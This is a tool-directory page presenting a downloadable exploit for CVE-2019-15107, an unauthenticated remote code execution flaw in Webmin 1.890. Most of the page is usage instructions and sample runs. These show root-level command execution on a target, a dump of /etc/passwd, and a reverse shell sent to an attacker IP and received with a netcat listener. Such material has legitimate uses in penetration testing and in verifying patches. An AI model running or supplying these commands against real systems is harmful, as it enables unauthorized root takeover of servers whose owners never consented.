Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/nasrallahbaadi/cve-2019-15107
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubnasrallahbaadi/cve-2019-15107

CVE-2019-15107

CVE-2019-15107 Webmin unauthenticated RCE

View Repository
32 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-15107 Webmin 1.890 Unauthenticated Remote Code Execution

This script is designed to exploit unauthenticated command execution vulnerability in Webmin 1.890. It allows you to execute arbitrary commands on a target Webmin server or to obtain a reverse shell.

Usage

The exploit takes 5 arguments:

root@kitploit:~
$ python3 test.py -h                       
usage: test.py [-h] -i IP Address [-p Port number] [-c Command] [--shell] [-x]

Exploit unauthenticated command execution in Webmin 1.890.

options:
  -h, --help            show this help message and exit

required arguments:
  -i IP Address, --ip IP Address
                        Target ip address

optional arguments:
  -p Port number, --port Port number
                        Webmin port(default=10000)
  -c Command, --command Command
                        OS Command to execute (Default=id)
  --shell               Get a reverse shell
  -x, --proxy           Sends requests through Burp Suite proxy at 127.0.0.1:8080.

Example:
    python exploit.py -i 192.168.1.100
    python exploit.py -i 192.168.1.100 -p 10000 -c whoami
    python exploit.py -i 192.168.1.100 -x -c "ls -la"
    python exploit.py -i 192.168.1.100 --shell

The only required option is -i which is the ip address of the target.

Download Tool

Running the exploit with only -i will execute the command id at a target located on port 10000

root@kitploit:~
$ python3 exploit.py -i 10.200.105.200 
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

Command execution

You can specify what command to run using the -c or --command options:

root@kitploit:~
$ python3 exploit.py -i 10.200.105.200 -c 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]

Reverse shell

You can also get a reverse shell by using the --shell option.

You will be prompt to enter your IP address and the listening port:

root@kitploit:~
$ python3 exploit.py -i 10.200.105.200 --shell 
Enter your ip address: 10.50.106.33
Enter your listening port: 9001
[+] Sending a shell to 10.50.106.33:9001...
root@kitploit:~
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.50.106.33] from (UNKNOWN) [10.200.105.200] 41446
[root@prod-serv ]# 

Proxy

By adding -x or --proxy option you can send the request though burp proxy at 127.0.0.1:8080

References

https://nvd.nist.gov/vuln/detail/cve-2019-15107